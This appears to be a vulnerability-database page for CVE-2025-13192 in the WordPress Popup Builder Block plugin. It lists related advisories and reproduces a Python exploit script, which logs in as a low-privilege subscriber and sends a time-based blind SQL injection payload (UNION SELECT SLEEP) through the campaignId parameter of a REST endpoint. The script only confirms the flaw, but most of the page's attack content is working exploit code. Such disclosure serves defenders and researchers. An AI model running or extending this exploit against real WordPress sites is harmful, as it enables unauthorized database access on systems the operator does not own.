📄 WordPress Popup Builder Block 2.1.5 Blind SQL Injection
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2025-13192 | 4 Feb 202623:22 | – | attackerkb | |
| CVE-2025-13192 | 5 Feb 202600:18 | – | circl | |
| WordPress plugin Popup builder with Gamification SQL注入漏洞 | 5 Feb 202600:00 | – | cnnvd | |
| CVE-2025-13192 | 4 Feb 202623:22 | – | cve | |
| CVE-2025-13192 Popup builder with Gamification <= 2.2.0 - Unauthenticated SQL Injection via Multiple REST API Endpoints | 4 Feb 202623:22 | – | cvelist | |
| CVE-2025-13192 | 5 Feb 202600:15 | – | nvd | |
| WordPress Popup builder with Gamification plugin <= 2.2.0 - Unauthenticated SQL Injection via Multiple REST API Endpoints vulnerability | 4 Feb 202622:18 | – | patchstack | |
| PT-2026-5874 | 4 Feb 202600:00 | – | ptsecurity | |
| CVE-2025-13192 | 6 Feb 202601:25 | – | redhatcve | |
| CVE-2025-13192 Popup builder with Gamification <= 2.2.0 - Unauthenticated SQL Injection via Multiple REST API Endpoints | 4 Feb 202623:22 | – | vulnrichment |
10
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Popup Builder Block (PopupKit) <= 2.1.5 - Authenticated (Subscriber+) Time-Based Blind SQL Injection
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/popup-builder-block/
# Software Link: https://downloads.wordpress.org/plugin/popup-builder-block.2.1.5.zip
# Version: 2.1.5 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-13192
"""
Popup Builder Block <= 2.1.5 exposes the REST route GET /wp-json/pbb/v1/popup/logs (callback
Routes/Popup.php::get_logs). Its `campaignId` parameter is concatenated unsanitised into the SQL
WHERE clause inside DataBase::get_devices() (Helpers/DataBase.php:256):
$campaign = $campaign_id ? " AND campaign_id = $campaign_id" : '';
$wpdb->prepare("... FROM $table WHERE date BETWEEN %s AND %s $campaign", $start_date, $end_date);
Only $start_date/$end_date are bound; $campaign_id is interpolated raw -> SQL injection. The route
inherits the class default permission_callback (Routes/Popup.php:50), which requires a valid
`wp_rest` nonce, so any authenticated user down to Subscriber can reach it (a subscriber obtains the
nonce from /wp-admin/admin-ajax.php?action=rest-nonce).
Payload uses UNION SELECT SLEEP() (matching the 3 aggregate columns) so the delay fires
unconditionally regardless of table contents. type=devices selects the injectable method.
Prior state: any authenticated account (Subscriber is enough).
"""
import argparse, sys, time, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def login(base, user, pw):
s = requests.Session(); s.verify = False
s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
s.post(base + "/wp-login.php", data={"log": user, "pwd": pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
return s
def probe(s, base, nonce, seconds):
inj = "0 UNION SELECT SLEEP(%d),2,3" % seconds
q = ("campaignId=" + urllib.parse.quote(inj) +
"&startDate=2020-01-01&endDate=2020-01-02&type=devices")
t = time.time()
r = s.get(base + "/wp-json/pbb/v1/popup/logs?" + q, headers={"X-WP-Nonce": nonce}, timeout=60)
return time.time() - t, r.status_code
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--user", default="subscriber")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
s = login(base, args.user, args.pw)
nonce = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
if not nonce or nonce == "0":
print("[-] login failed / no wp_rest nonce"); return 1
print(f"[*] Target: {base} | user: {args.user} | wp_rest nonce: {nonce}")
t0, c0 = probe(s, base, nonce, 0)
t5, c5 = probe(s, base, nonce, args.sleep)
print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED — attacker-controlled SLEEP({args.sleep}) delayed the "
f"response by {t5 - t0:.2f}s (subscriber-level, campaignId param).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Jul 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.18.2
EPSS0.00399
SSVC